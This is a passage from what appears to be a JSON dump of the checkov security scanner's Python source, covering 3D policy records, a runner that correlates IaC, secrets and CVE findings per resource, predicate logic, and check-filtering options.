record.iac_records:\n        resource = iac_record.resource\n        severity = (iac_record.severity.name if iac_record.severity else DEFAULT_SEVERITY).upper()\n        resource_violation_details_map[resource].setdefault('violations', []).append(\n            {\n                'id': iac_record.bc_check_id,\n                'title': iac_record.check_name,\n                'severity': severity\n            }\n        )\n\n        if resource in resource_violation_details_map:\n            resource_violation_details_map[resource]['violations'].sort(key=compare_table_items_severity, reverse=True)\n\n    if len(resource_violation_details_map.keys()):\n        return (\n            create_iac_violations_table(\n                file_path=record.file_path,\n                resource_violation_details_map=resource_violation_details_map,\n            )\n        )\n\n    return None\n\n\ndef create_iac_violations_table(file_path: str, resource_violation_details_map: Dict[str, Dict[str, Any]]) -> str:\n    columns = 5  # it really has only 4 columns, but the title would get a width of two columns\n    table_width = TABLE_WIDTH\n    column_width = int(table_width / columns)\n\n    # on python 3.12 and above, the columns are a bit bigger, need to make them smaller to have consistency.\n    if sys.version_info >= (3, 12):\n        table_width = 136\n\n    iac_table_lines = create_iac_violations_overview_table_part(\n        table_width=table_width, column_width=column_width, resource_violation_details_map=resource_violation_details_map\n    )\n\n    return (\n        Style.BRIGHT +\n        f\"\\tMatching IaC violations:\\n\"\n        f\"{''.join(iac_table_lines)}\\n\" +\n        Style.RESET_ALL\n    )\n\n\ndef create_iac_violations_overview_table_part(\n        table_width: int, column_width: int, resource_violation_details_map: Dict[str, Dict[str, Any]]\n) -> List[str]:\n    iac_table_lines: List[str] = []\n\n    # on python 3.12 and above, the columns are smaller, need to make them wider in order to have consistency.\n    if sys.version_info >= (3, 12):\n        table_width += 3\n\n    iac_table = PrettyTable(\n        min_table_width=table_width,\n        max_table_width=table_width\n    )\n    iac_table.set_style(SINGLE_BORDER)\n    iac_table.field_names = [\n        \"Resource\",\n        \"Violation\",\n        \"Title\",\n        \"Severity\"\n    ]\n    for resource_idx, (resource, details) in enumerate(resource_violation_details_map.items()):\n        if resource_idx > 0:\n            del iac_table_lines[-1]\n            iac_table.header = False\n            iac_table.clear_rows()\n\n        for violation_idx, violation in enumerate(details['violations']):\n            col_resource = ''\n            if violation_idx == 0:\n                col_resource = resource\n\n            iac_table.add_row(\n                [\n                    col_resource,\n                    violation['id'],\n                    violation['title'],\n                    violation['severity']\n                ]\n            )\n\n        iac_table.align = \"l\"\n        # the column widths are manipulated here with -2s so all the printed tables have eventually the same width\n        regular_width = column_width - 2\n        double_width = 2 * column_width - 2\n\n        iac_table.min_width = regular_width\n        iac_table.max_width = regular_width\n        iac_table.min_width['Title'] = double_width\n        iac_table.max_width['Title'] = double_width\n\n        for line in iac_table.get_string().splitlines(keepends=True):\n            if resource_idx > 0:\n                line = merge_line_with_previous_table(line, iac_table)\n            iac_table_lines.append(f\"\\t{line}\")\n\n    return iac_table_lines\n"
  },
  {
    "path": "checkov/policies_3d/record.py",
    "content": "from __future__ import annotations\nfrom typing import List, Dict, Any, Tuple, Optional\n\nfrom checkov.common.bridgecrew.severities import Severity\nfrom checkov.common.output.record import Record\nfrom checkov.common.typing import _CheckResult\n\n\nclass Policy3dRecord(Record):\n    def __init__(self,\n                 check_id: str,\n                 bc_check_id: str,\n                 check_name: str,\n                 check_result: _CheckResult,\n                 code_block: List[Tuple[int, str]],\n                 file_path: str,\n                 file_line_range: List[int],\n                 resource: str,\n                 evaluations: Optional[Dict[str, Any]],\n                 check_class: str,\n                 file_abs_path: str,\n                 severity: Optional[Severity],\n                 vulnerabilities: List[Dict[str, Any]],\n                 iac_records: List[Record],\n                 composed_from_iac_records: List[Record],\n                 composed_from_secrets_records: list[Record],\n                 composed_from_cves: list[Dict[str, Any]]\n                 ) -> None:\n        super().__init__(\n            check_id=check_id,\n            bc_check_id=bc_check_id,\n            check_name=check_name,\n            check_result=check_result,\n            code_block=code_block,\n            file_path=file_path,\n            file_line_range=file_line_range,\n            resource=resource,\n            evaluations=evaluations,\n            check_class=check_class,\n            file_abs_path=file_abs_path,\n            severity=severity,\n        )\n        self.vulnerabilities = vulnerabilities\n        self.iac_records = iac_records\n        self.composed_from_iac_records = composed_from_iac_records\n        self.composed_from_secrets_records = composed_from_secrets_records\n        self.composed_from_cves = composed_from_cves\n"
  },
  {
    "path": "checkov/policies_3d/runner.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom enum import Enum\nfrom typing import Dict, Any\n\nfrom checkov.common.bridgecrew.severities import Severities\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\n\nfrom checkov.common.runners.base_post_runner import BasePostRunner\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.policies_3d.checks_parser import Policy3dParser\nfrom checkov.policies_3d.record import Policy3dRecord\nfrom checkov.policies_3d.checks_infra.base_check import Base3dPolicyCheck\nfrom checkov.policies_3d.syntax.iac_syntax import IACPredicate\nfrom checkov.policies_3d.syntax.cves_syntax import CVEPredicate\nfrom checkov.policies_3d.syntax.secrets_syntax import SecretsPredicate\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass CVECheckAttribute(str, Enum):\n    RISK_FACTORS = \"risk_factor\"\n\n\nclass CVEReportAttribute(str, Enum):\n    RISK_FACTORS = 'riskFactors'\n\n\nCVE_CHECK_TO_REPORT_ATTRIBUTE = {\n    CVECheckAttribute.RISK_FACTORS: CVEReportAttribute.RISK_FACTORS\n}\n\nmodule_to_check_types = {\n    \"iac\": filter(lambda _type: _type in [CheckType.SECRETS, CheckType.SCA_IMAGE], list(CheckType.__dict__.keys())),\n    \"secrets\": [CheckType.SECRETS],\n    \"cves\": [CheckType.SCA_IMAGE]\n}\n\n\nclass Policy3dRunner(BasePostRunner):\n    check_type = CheckType.POLICY_3D  # noqa: CCE003  # a static attribute\n\n    def __init__(self) -> None:\n        super().__init__()\n\n    def run_v2(self,\n               raw_checks: list[dict[str, Any]] | None = None,\n               scan_reports: list[Report] | None = None,\n               runner_filter: RunnerFilter | None = None\n               ) -> Report:\n        runner_filter = runner_filter or RunnerFilter()\n        if not runner_filter.show_progress_bar:\n            self.pbar.turn_off_progress_bar()\n\n        report = Report(self.check_type)\n\n        if not raw_checks or not scan_reports:\n            logging.debug(\"No checks or reports scan, skipping 3D policies runner\")\n            return report\n\n        self.pbar.initiate(len(raw_checks))\n\n        failed_checks_by_resource = self.create_failed_checks_by_resource_mapping(scan_reports)\n        records_3d = []\n        for raw_3d_check in raw_checks:\n            for resource, modules_records in failed_checks_by_resource.items():\n                iac_records: list[Record] = modules_records.get(\"iac\", [])\n                secrets_records: list[Record] = modules_records.get(\"secrets\", [])\n                cves_reports: list[dict[str, Any]] = modules_records.get(\"cves\", [])\n                check = Policy3dParser(raw_3d_check).parse(\n                    iac_records=iac_records,\n                    secrets_records=secrets_records,\n                    cves_reports=cves_reports\n                )\n\n                if not check:\n                    continue\n\n                check.severity = Severities[raw_3d_check['severity']]\n                check.bc_id = check.id\n\n                check_result = CheckResult.PASSED\n                if any([predicament() for predicament in check.predicaments]):\n                    check_result = CheckResult.FAILED\n                    logging.debug(f\"Resource {resource} is violating 3D policy {check.bc_id}\")\n\n                records_3d.append(self.create_record(check, check_result))\n\n        for record in records_3d:\n            if record:\n                report.add_record(record=record)\n\n        return report\n\n    @staticmethod\n    def create_record(check: Base3dPolicyCheck, check_result: CheckResult) -> Record | None:\n        true_vulnerabilities_cve_reports = []\n        true_iac_records = []\n        true_secrets_records = []\n\n        records_ids = set()\n\n        any_record_data_source = None\n        record_data_source: Record | None\n\n        all_predicates = set()\n        for predicament in check.predicaments:\n            all_predicates.update(predicament.get_all_children_predicates())\n\n        for predicate in all_predicates:\n            if not any_record_data_source and (isinstance(predicate, IACPredicate) or isinstance(predicate, SecretsPredicate)):\n                any_record_data_source = predicate.record\n\n            if predicate.is_true:\n                if isinstance(predicate, IACPredicate) and predicate.record.bc_check_id not in records_ids:\n                    true_iac_records.append(predicate.record)\n                    records_ids.add(predicate.record.bc_check_id)\n                elif isinstance(predicate, CVEPredicate) and predicate.cve_report.get('cveId') not in records_ids:\n                    true_vulnerabilities_cve_reports.append(predicate.cve_report)\n                    records_ids.add(predicate.cve_report.get('cveId'))\n                elif isinstance(predicate, SecretsPredicate) and predicate.record.bc_check_id not in records_ids:\n                    true_secrets_records.append(predicate.record)\n                    records_ids.add(predicate.record.bc_check_id)\n        try:\n            record_data_source = list(true_iac_records)[0] if len(true_iac_records) > 0 else list(true_secrets_records)[0]\n        except IndexError:\n            record_data_source = any_record_data_source\n\n        if not record_data_source:\n            logging.debug(\"Unable to create record from an empty record data source\")\n            return None\n\n        record = Policy3dRecord(\n            check_id=check.id,\n            bc_check_id=check.bc_id,\n            check_name=check.name,\n            check_result={'result': check_result},\n            code_block=record_data_source.code_block,\n            file_path=record_data_source.file_path,\n            file_line_range=record_data_source.file_line_range,\n            resource=f'{record_data_source.file_path}:{record_data_source.resource}',\n            evaluations=None,\n            check_class=check.__class__.__module__,\n            file_abs_path=record_data_source.file_abs_path,\n            severity=check.severity,\n            vulnerabilities=true_vulnerabilities_cve_reports,\n            iac_records=true_iac_records + true_secrets_records,\n            composed_from_iac_records=true_iac_records,\n            composed_from_secrets_records=true_secrets_records,\n            composed_from_cves=true_vulnerabilities_cve_reports\n        )\n\n        record.set_guideline(check.guideline)\n        return record\n\n    @staticmethod\n    def create_failed_checks_by_resource_mapping(scan_reports: list[Report]) -> dict[str, Any]:\n        \"\"\"\n        Output structure:\n        {\n            resource_id: {\n                \"iac\": [...], # list of failed checks of type Record\n                \"secrets\": [...], # list of failed checks of type Record\n                \"cves\": [...] # list of vulnerabilities of type ReportCVE\n            }\n        }\n        \"\"\"\n        failed_checks_by_resource: dict[str, Any] = {}\n        for report in scan_reports:\n            if report.check_type == CheckType.SCA_IMAGE:\n                # Save image cached results on a resource\n                for result in report.image_cached_results:\n                    resource_id = result.get('relatedResourceId', '').split(result.get('dockerFilePath'))[1][1:]\n                    if resource_id in failed_checks_by_resource.keys():\n                        if \"cves\" not in failed_checks_by_resource[resource_id]:\n                            failed_checks_by_resource[resource_id][\"cves\"] = []\n                        failed_checks_by_resource[resource_id][\"cves\"] += result.get(\"vulnerabilities\", [])\n                    else:\n                        failed_checks_by_resource[resource_id] = {}\n                        failed_checks_by_resource[resource_id][\"cves\"] = result.get(\"vulnerabilities\", [])\n\n                    for cve in failed_checks_by_resource[resource_id][\"cves\"]:\n                        cve[\"dockerImageName\"] = result.get(\"dockerImageName\")\n\n            else:\n                # Save failed checks on a resource\n                iac_or_secrets = \"secrets\" if report.check_type == CheckType.SECRETS else \"iac\"\n                for failed_check in report.failed_checks:\n                    resource = failed_check.resource.lstrip(failed_check.file_abs_path)\n                    if failed_check.resource in failed_checks_by_resource.keys():\n                        failed_checks_by_resource[resource][iac_or_secrets].append(failed_check)\n                    else:\n                        failed_checks_by_resource[resource] = {}\n                        failed_checks_by_resource[resource][iac_or_secrets] = [failed_check]\n\n        return failed_checks_by_resource\n\n    def run(  # type:ignore[override]\n            self,\n            checks: list[Base3dPolicyCheck] | None = None,\n            scan_reports: list[Report] | None = None,\n            runner_filter: RunnerFilter | None = None\n    ) -> Report:\n        runner_filter = runner_filter or RunnerFilter()\n        if not runner_filter.show_progress_bar:\n            self.pbar.turn_off_progress_bar()\n\n        report = Report(self.check_type)\n\n        if not checks or not scan_reports:\n            logging.debug(\"No checks or reports scan.\")\n            return report\n\n        self.pbar.initiate(len(checks))\n\n        reports_by_framework = {report.check_type: report for report in scan_reports}\n        for check in checks:\n            records = self.collect_check(check, reports_by_framework)\n            for record in records:\n                report.add_record(record=record)\n\n        self.pbar.close()\n        return report\n\n    def collect_check(self, check: Base3dPolicyCheck, reports_by_fw: dict[str, Report]) -> list[Policy3dRecord]:\n        records = []\n        iac_results_map = self.solve_check_iac(check, reports_by_fw)\n        cve_results_map = self.solve_check_cve(check, reports_by_fw)\n\n        for iac_resource, iac_records in iac_results_map.items():\n            for cve_resource, vulnerabilities in cve_results_map.items():\n                if iac_resource == cve_resource:\n                    # This means we found the combination on the same resource -> create a violation for that resource\n                    check_result = CheckResult.FAILED\n                    iac_records = [record for record in iac_records]\n                    record = self.get_record(check, iac_records[0], vulnerabilities, check_result, iac_records)\n                    record.set_guideline(check.guideline)\n                    records.append(record)\n\n        self.pbar.update()\n        return records\n\n    def solve_check_iac(self, check: Base3dPolicyCheck, reports_by_fw: dict[str, Report]) -> dict[str, list[Record]]:\n        iac_results_map: dict[str, list[Record]] = {}\n        if check.iac:\n            for framework, bc_check_ids in check.iac.items():\n                framework_report = reports_by_fw.get(framework)\n                if framework_report:\n                    fw_records = framework_report.failed_checks\n                    for record in fw_records:\n                        if record.bc_check_id in bc_check_ids:\n                            resource_id = f'{record.file_abs_path}:{record.resource}'\n                            if resource_id in iac_results_map:\n                                iac_results_map[resource_id].append(record)\n                            else:\n                                iac_results_map[resource_id] = [record]\n\n                    # the following implements the AND logic for the list of iac expected check ids\n                    for resource in list(iac_results_map.keys()):\n                        if len(iac_results_map[resource]) != len(bc_check_ids):\n                            del iac_results_map[resource]\n\n        return iac_results_map\n\n    def solve_check_cve(self, check: Base3dPolicyCheck, reports_by_fw: dict[str, Report]) -> dict[str, list[Dict[str, Any]]]:\n        cve_results_map: dict[str, list[Dict[str, Any]]] = {}\n        if check.cve:\n            cve_report = reports_by_fw.get(CheckType.SCA_IMAGE)\n            if cve_report:\n                image_results = cve_report.image_cached_results\n                for attribute, value in check.cve.items():\n                    for image_result in image_results:\n                        matching_cves = [vuln for vuln in image_result.get('vulnerabilities', []) if\n                                         value[0] in force_list(vuln.get(CVE_CHECK_TO_REPORT_ATTRIBUTE[attribute], []))]\n                        if matching_cves:\n                            image_related_resource = image_result.get('relatedResourceId')\n                            image_name = image_result.get('dockerImageName')\n                            if not image_related_resource or not image_name:\n                                logging.debug(\n                                    \"[policies3d/runner](solve_check_cve) Found vulnerabilities of an image without a related resource or image name, skipping\")\n                                break\n                            for cve in matching_cves:\n                                cve['dockerImageName'] = image_name\n                            # The current logic for multiple cve conditions in the policy is of \"OR\" - we add all of\n                            # the matching cves, even if matched only by a single policy attribute. To implement an\n                            # \"AND\" logic for the combination of conditions, the matching cves need to be filtered\n                            # before being added to the result.\n                            if image_related_resource in cve_results_map:\n                                cve_results_map[image_related_resource].extend(matching_cves)\n                            else:\n                                cve_results_map[image_related_resource] = matching_cves\n        return cve_results_map\n\n    def get_record(self, check: Base3dPolicyCheck, iac_record: Record, vulnerabilities: list[Dict[str, Any]],\n                   check_result: CheckResult, iac_records: list[Record]) -> Policy3dRecord:\n        return Policy3dRecord(\n            check_id=check.id,\n            bc_check_id=check.bc_id,\n            check_name=check.name,\n            check_result={'result': check_result},\n            code_block=iac_record.code_block,\n            file_path=iac_record.file_path,\n            file_line_range=iac_record.file_line_range,\n            resource=f'{iac_record.file_path}:{iac_record.resource}',\n            evaluations=None,\n            check_class=check.__class__.__module__,\n            file_abs_path=iac_record.file_abs_path,\n            severity=check.severity,\n            vulnerabilities=vulnerabilities,\n            iac_records=iac_records,\n            composed_from_iac_records=[],\n            composed_from_secrets_records=[],\n            composed_from_cves=[]\n        )\n"
  },
  {
    "path": "checkov/policies_3d/syntax/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/policies_3d/syntax/cves_syntax.py",
    "content": "from __future__ import annotations\nimport abc\nfrom typing import Any\n\nfrom checkov.policies_3d.syntax.syntax import Predicate\n\n\nclass CVEPredicate(Predicate):\n    def __init__(self, cve_report: dict[str, Any]) -> None:\n        super().__init__()\n        self.cve_report = cve_report\n\n    @abc.abstractmethod\n    def __call__(self) -> bool:\n        raise NotImplementedError()\n\n\nclass RiskFactorCVEContains(CVEPredicate):\n    def __init__(self, risk_factors: list[str], cve_report: dict[str, Any]) -> None:\n        super().__init__(cve_report)\n        self.risk_factors = [rf.lower() for rf in risk_factors]\n        report_risk_factors = cve_report.get('riskFactors', []) or []\n        if isinstance(report_risk_factors, str):\n            report_risk_factors = [report_risk_factors]\n\n        self.cve_report['riskFactors'] = [rf.lower() for rf in report_risk_factors]\n\n    def __call__(self) -> bool:\n        self.is_true = all(rf in self.cve_report['riskFactors'] for rf in self.risk_factors)\n\n        if not self.is_true:\n            for rf in self.cve_report['riskFactors']:\n                self.is_true = all(rf.startswith(predicate_rf) for predicate_rf in self.risk_factors)\n                if self.is_true:\n                    break\n\n        return self.is_true\n\n    def __eq__(self, other: object) -> bool:\n        if not isinstance(other, RiskFactorCVEContains):\n            return False\n\n        return set(self.risk_factors) == set(other.risk_factors) and self.cve_report['cveId'] == other.cve_report['cveId']\n\n    def __hash__(self) -> Any:\n        return hash(('risk_factors', tuple(self.risk_factors), 'cveId', self.cve_report['cveId']))\n"
  },
  {
    "path": "checkov/policies_3d/syntax/iac_syntax.py",
    "content": "from __future__ import annotations\nimport abc\n\nfrom checkov.common.output.record import Record\nfrom checkov.policies_3d.syntax.syntax import Predicate\nfrom typing import Any\n\n\nclass IACPredicate(Predicate):\n    def __init__(self, record: Record) -> None:\n        super().__init__()\n        self.record = record\n\n    @abc.abstractmethod\n    def __call__(self) -> bool:\n        raise NotImplementedError()\n\n\nclass ViolationIdEquals(IACPredicate):\n    def __init__(self, record: Record, violation_id: str) -> None:\n        super().__init__(record)\n        self.violation_id = violation_id\n\n    def __call__(self) -> bool:\n        self.is_true = isinstance(self.violation_id, str) and self.record.bc_check_id == self.violation_id\n        return self.is_true\n\n    def __eq__(self, other: object) -> bool:\n        if not isinstance(other, ViolationIdEquals):\n            return False\n\n        return self.violation_id == other.violation_id and self.record.bc_check_id == other.record.bc_check_id\n\n    def __hash__(self) -> Any:\n        return hash(('violation_id', self.violation_id, 'bc_check_id', self.record.bc_check_id))\n"
  },
  {
    "path": "checkov/policies_3d/syntax/secrets_syntax.py",
    "content": "import abc\n\nfrom checkov.common.output.record import Record\nfrom checkov.policies_3d.syntax.syntax import Predicate\n\n\nclass SecretsPredicate(Predicate):\n    def __init__(self, record: Record) -> None:\n        super().__init__()\n        self.record = record\n\n    @abc.abstractmethod\n    def __call__(self) -> bool:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/policies_3d/syntax/syntax.py",
    "content": "from __future__ import annotations\nimport abc\nfrom typing import Any\n\n\nclass Predicate:\n    def __init__(self) -> None:\n        self.is_true = False\n\n    @abc.abstractmethod\n    def __call__(self, *args: Any, **kwargs: Any) -> bool:\n        raise NotImplementedError()\n\n    @abc.abstractmethod\n    def __eq__(self, other: object) -> bool:\n        raise NotImplementedError()\n\n    @abc.abstractmethod\n    def __hash__(self) -> Any:\n        raise NotImplementedError()\n\n\nclass Predicament:\n    def __init__(self, logical_op: str, predicates: list[Predicate] | None = None,\n                 predicaments: list[Predicament] | None = None) -> None:\n        self.predicates = predicates or []\n        self.predicaments = predicaments or []\n        self.logical_op = logical_op.lower()\n\n    def __call__(self) -> bool:\n        \"\"\"\n        Calls all direct and indirect predicates.\n\n        Implementation note: using a list comprehension in any/all guarantees that all predicates will be computed\n        by avoiding a short-circuit evaluation.\n        \"\"\"\n        if self.logical_op == 'or':\n            sub_predicaments_result = False\n            if self.predicaments:\n                sub_predicaments_result = any([predicament() for predicament in self.predicaments])\n\n            return any([predicate() for predicate in self.predicates]) or sub_predicaments_result\n\n        sub_predicaments_result = True\n        if self.predicaments:\n            sub_predicaments_result = all(predicament() for predicament in self.predicaments)\n\n        return all([predicate() for predicate in self.predicates]) and sub_predicaments_result\n\n    def get_all_children_predicates(self) -> set[Predicate]:\n        predicates = set()\n        for sub_predicament in self.predicaments:\n            predicates.update(sub_predicament.get_all_children_predicates())\n\n        predicates.update(set(self.predicates))\n        return predicates\n"
  },
  {
    "path": "checkov/py.typed",
    "content": ""
  },
  {
    "path": "checkov/runner_filter.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport fnmatch\nfrom collections import defaultdict\nfrom collections.abc import Iterable\nfrom typing import Any, Set, Optional, Union, List, TYPE_CHECKING, Dict, DefaultDict, cast\nimport re\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.secrets.consts import ValidationStatus\n\nfrom checkov.common.bridgecrew.code_categories import CodeCategoryMapping, CodeCategoryConfiguration, CodeCategoryType\nfrom checkov.common.bridgecrew.severities import Severity, Severities\nfrom checkov.common.sast.consts import SastLanguages\nfrom checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR\nfrom checkov.common.util.type_forcers import convert_csv_string_arg_to_list\nfrom checkov.common.util.str_utils import convert_to_seconds\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check import BaseCheck\n    from checkov.common.graph.checks_infra.base_check import BaseGraphCheck\n    from checkov.sast.checks_infra.base_check import BaseSastCheck\n\n\nclass RunnerFilter(object):\n    # NOTE: This needs to be static because different filters may be used at load time versus runtime\n    #       (see note in BaseCheckRegistery.register). The concept of which checks are external is\n    #       logically a \"static\" concept anyway, so this makes logical sense.\n    __EXTERNAL_CHECK_IDS: Set[str] = set()\n\n    def __init__(\n            self,\n            framework: Optional[List[str]] = None,\n            checks: Union[str, List[str], None] = None,\n            skip_checks: Union[str, List[str], None] = None,\n            include_all_checkov_policies: bool = True,\n            download_external_modules: Optional[bool] = False,\n            external_modules_download_path: str = DEFAULT_EXTERNAL_MODULES_DIR,\n            evaluate_variables: bool = True,\n            runners: Optional[List[str]] = None,\n            skip_framework: Optional[List[str]] = None,\n            excluded_paths: Optional[List[str]] = None,\n            all_external: bool = False,\n            var_files: Optional[List[str]] = None,\n            skip_cve_package: Optional[List[str]] = None,\n            use_enforcement_rules: bool = False,\n            filtered_policy_ids: Optional[List[str]] = None,\n            filtered_exception_policy_ids: Optional[List[str]] = None,\n            show_progress_bar: Optional[bool] = True,\n            run_image_referencer: bool = False,\n            enable_secret_scan_all_files: bool = False,\n            block_list_secret_scan: Optional[List[str]] = None,\n            deep_analysis: bool = False,\n            repo_root_for_plan_enrichment: Optional[List[str]] = None,\n            resource_attr_to_omit: Optional[Dict[str, Set[str]]] = None,\n            enable_git_history_secret_scan: bool = False,\n            git_history_timeout: str = '12h',\n            git_history_last_commit_scanned: Optional[str] = None,  # currently not exposed by a CLI flag\n            report_sast_imports: bool = False,\n            remove_default_sast_policies: bool = False,\n            report_sast_reachability: bool = False\n    ) -> None:\n\n        checks = convert_csv_string_arg_to_list(checks)\n        skip_checks = convert_csv_string_arg_to_list(skip_checks)\n\n        self.skip_invalid_secrets = skip_checks and any(skip_check.capitalize() == ValidationStatus.INVALID.value\n                                                        for skip_check in skip_checks)\n\n        self.use_enforcement_rules = use_enforcement_rules\n        self.enforcement_rule_configs: Dict[str, Severity | Dict[CodeCategoryType, Severity]] = {}\n\n        # we will store the lowest value severity we find in checks, and the highest value we find in skip-checks\n        # so the logic is \"run all checks >= severity\" and/or \"skip all checks <= severity\"\n        self.check_threshold = None\n        self.skip_check_threshold = None\n        self.checks = []\n        self.bc_cloned_checks: dict[str, list[dict[str, Any]]] = defaultdict(list)\n        self.skip_checks = []\n        self.skip_checks_regex_patterns = defaultdict(list)\n        self.show_progress_bar = show_progress_bar\n\n        # split out check/skip thresholds so we can access them easily later\n        for val in (checks or []):\n            if val.upper() in Severities:\n                val = val.upper()\n                if not self.check_threshold or self.check_threshold.level > Severities[val].level:\n                    self.check_threshold = Severities[val]\n            else:\n                self.checks.append(val)\n        # Get regex patterns to split checks and remove it from skip checks:\n        updated_skip_checks = set(skip_checks)\n        for val in (skip_checks or []):\n            splitted_check = val.split(\":\")\n            # In case it's not expected pattern\n            if len(splitted_check) != 2:\n                continue\n            self.skip_checks_regex_patterns[splitted_check[0]].append(splitted_check[1])\n            updated_skip_checks -= {val}\n\n        skip_checks = list(updated_skip_checks)\n        for val in (skip_checks or []):\n            if val.upper() in Severities:\n                val = val.upper()\n                if not self.skip_check_threshold or self.skip_check_threshold.level < Severities[val].level:\n                    self.skip_check_threshold = Severities[val]\n            else:\n                self.skip_checks.append(val)\n\n        self.include_all_checkov_policies = include_all_checkov_policies\n        if not framework or \"all\" in framework:\n            self.framework_flag_values = []\n        else:\n            self.framework_flag_values = framework\n\n        self.framework: \"Iterable[str]\" = framework if framework else [\"all\"]\n        if skip_framework:\n            if \"all\" in self.framework:\n                if runners is None:\n                    runners = []\n\n                self.framework = set(runners) - set(skip_framework)\n            else:\n                self.framework = set(self.framework) - set(skip_framework)\n        logging.debug(f\"Resultant set of frameworks (removing skipped frameworks): {','.join(self.framework)}\")\n\n        self.download_external_modules = download_external_modules\n        self.external_modules_download_path = external_modules_download_path\n        self.evaluate_variables = evaluate_variables\n        self.excluded_paths = excluded_paths or []\n        self.all_external = all_external\n        self.var_files = var_files\n        self.skip_cve_package = skip_cve_package\n        self.filtered_policy_ids = filtered_policy_ids or []\n        self.filtered_exception_policy_ids = filtered_exception_policy_ids or []\n        self.run_image_referencer = run_image_referencer\n        self.enable_secret_scan_all_files = enable_secret_scan_all_files\n        self.block_list_secret_scan = block_list_secret_scan\n        self.suppressed_policies: List[str] = []\n        self.deep_analysis = deep_analysis\n        self.repo_root_for_plan_enrichment = repo_root_for_plan_enrichment\n        self.resource_attr_to_omit: DefaultDict[str, Set[str]] = RunnerFilter._load_resource_attr_to_omit(\n            resource_attr_to_omit\n        )\n        self.sast_languages: Set[SastLanguages] = RunnerFilter.get_sast_languages(framework, skip_framework)\n        if self.sast_languages and any(item for item in self.framework if item.startswith(CheckType.SAST) or item == 'all'):\n            self.framework = [item for item in self.framework if not item.startswith(CheckType.SAST)]\n            self.framework.append(CheckType.SAST)\n        elif not self.sast_languages:\n            # remove all SAST and CDK frameworks\n            self.framework = [\n                item for item in self.framework if not item.startswith(CheckType.SAST) and item != CheckType.CDK\n            ]\n\n        self.enable_git_history_secret_scan: bool = enable_git_history_secret_scan\n        if self.enable_git_history_secret_scan:\n            self.git_history_timeout = convert_to_seconds(git_history_timeout)\n            self.framework = [CheckType.SECRETS]\n            logging.debug(\"Scan secrets history was enabled ignoring other frameworks\")\n            self.git_history_last_commit_scanned = git_history_last_commit_scanned\n\n        self.report_sast_imports = report_sast_imports\n        self.remove_default_sast_policies = remove_default_sast_policies\n        self.report_sast_reachability = report_sast_reachability\n\n    @staticmethod\n    def _load_resource_attr_to_omit(resource_attr_to_omit_input: Optional[Dict[str, Set[str]]]) -> DefaultDict[str, Set[str]]:\n        resource_attributes_to_omit: DefaultDict[str, Set[str]] = defaultdict(set)\n        # In order to create new object (and not a reference to the given one)\n        if resource_attr_to_omit_input:\n            resource_attributes_to_omit.update(resource_attr_to_omit_input)\n        return resource_attributes_to_omit\n\n    def apply_enforcement_rules(self, enforcement_rule_configs: Dict[str, CodeCategoryConfiguration]) -> None:\n        self.enforcement_rule_configs = {}\n        for report_type, code_category in CodeCategoryMapping.items():\n            if isinstance(code_category, list):\n                self.enforcement_rule_configs[report_type] = {c: enforcement_rule_configs.get(c).soft_fail_threshold for c in code_category}  # type:ignore[union-attr] # will not be None\n            else:\n                config = enforcement_rule_configs.get(code_category)\n                if not config:\n                    raise Exception(f'Could not find an enforcement rule config for category {code_category} (runner: {report_type})')\n                self.enforcement_rule_configs[report_type] = config.soft_fail_threshold\n\n    def extract_enforcement_rule_threshold(self, check_id: str, report_type: str) -> Severity:\n        if 'sca_' in report_type and '_LIC_' in check_id:\n            return cast(\"dict[CodeCategoryType, Severity]\", self.enforcement_rule_configs[report_type])[CodeCategoryType.LICENSES]\n        elif 'sca_' in report_type:  # vulnerability\n            return cast(\"dict[CodeCategoryType, Severity]\", self.enforcement_rule_configs[report_type])[CodeCategoryType.VULNERABILITIES]\n        else:\n            return cast(Severity, self.enforcement_rule_configs[report_type])\n\n    def should_run_check(\n            self,\n            check: BaseCheck | BaseGraphCheck | BaseSastCheck | None = None,\n            check_id: str | None = None,\n            bc_check_id: str | None = None,\n            severity: Severity | None = None,\n            report_type: str | None = None,\n            file_origin_paths: List[str] | None = None,\n            root_folder: str | None = None\n    ) -> bool:\n        if check:\n            check_id = check.id\n            bc_check_id = check.bc_id\n            severity = check.severity\n\n        assert check_id is not None  # nosec (for mypy (and then for bandit))\n\n        check_threshold: Optional[Severity]\n        skip_check_threshold: Optional[Severity]\n\n        # apply enforcement rules if specified, but let --check/--skip-check with a severity take priority\n        if self.use_enforcement_rules and report_type:\n            if not self.check_threshold and not self.skip_check_threshold:\n                check_threshold = self.extract_enforcement_rule_threshold(check_id, report_type)\n                skip_check_threshold = None\n            else:\n                check_threshold = self.check_threshold\n                skip_check_threshold = self.skip_check_threshold\n        else:\n            if self.use_enforcement_rules:\n                # this is a warning for us (but there is nothing the user can do about it)\n                logging.debug(f'Use enforcement rules is true, but check {check_id} was not passed to the runner filter with a report type')\n            check_threshold = self.check_threshold\n            skip_check_threshold = self.skip_check_threshold\n\n        run_severity = severity and check_threshold and severity.level >= check_threshold.level\n        explicit_run = self.checks and self.check_matches(check_id, bc_check_id, self.checks)\n        implicit_run = not self.checks and not check_threshold\n        is_external = RunnerFilter.is_external_check(check_id)\n        is_policy_filtered = self.is_policy_filtered(check_id)\n        is_policy_exception = self.is_policy_exception(check_id)\n        # True if this check is present in the allow list, or if there is no allow list\n        # this is not necessarily the return value (need to apply other filters)\n        should_run_check = (\n            run_severity or\n            explicit_run or\n            implicit_run or\n            (is_external and self.all_external)\n        )\n\n        if not should_run_check:\n            logging.debug(f'Should run check {check_id}: False')\n            return False\n\n        # If a policy is not present in the list of filtered policies, it should not be run - implicitly or explicitly.\n        # It can, however, be skipped.\n        if not is_policy_filtered:\n            logging.debug(f'not is_policy_filtered {check_id}: should_run_check = False')\n            should_run_check = False\n        # If a policy is present in the list of filter exception policies, it should not be run - implicitly or explicitly.\n        if is_policy_exception:\n            logging.debug(f'is_policy_exception {check_id}: should_run_check = False')\n            should_run_check = False\n\n        skip_severity = severity and 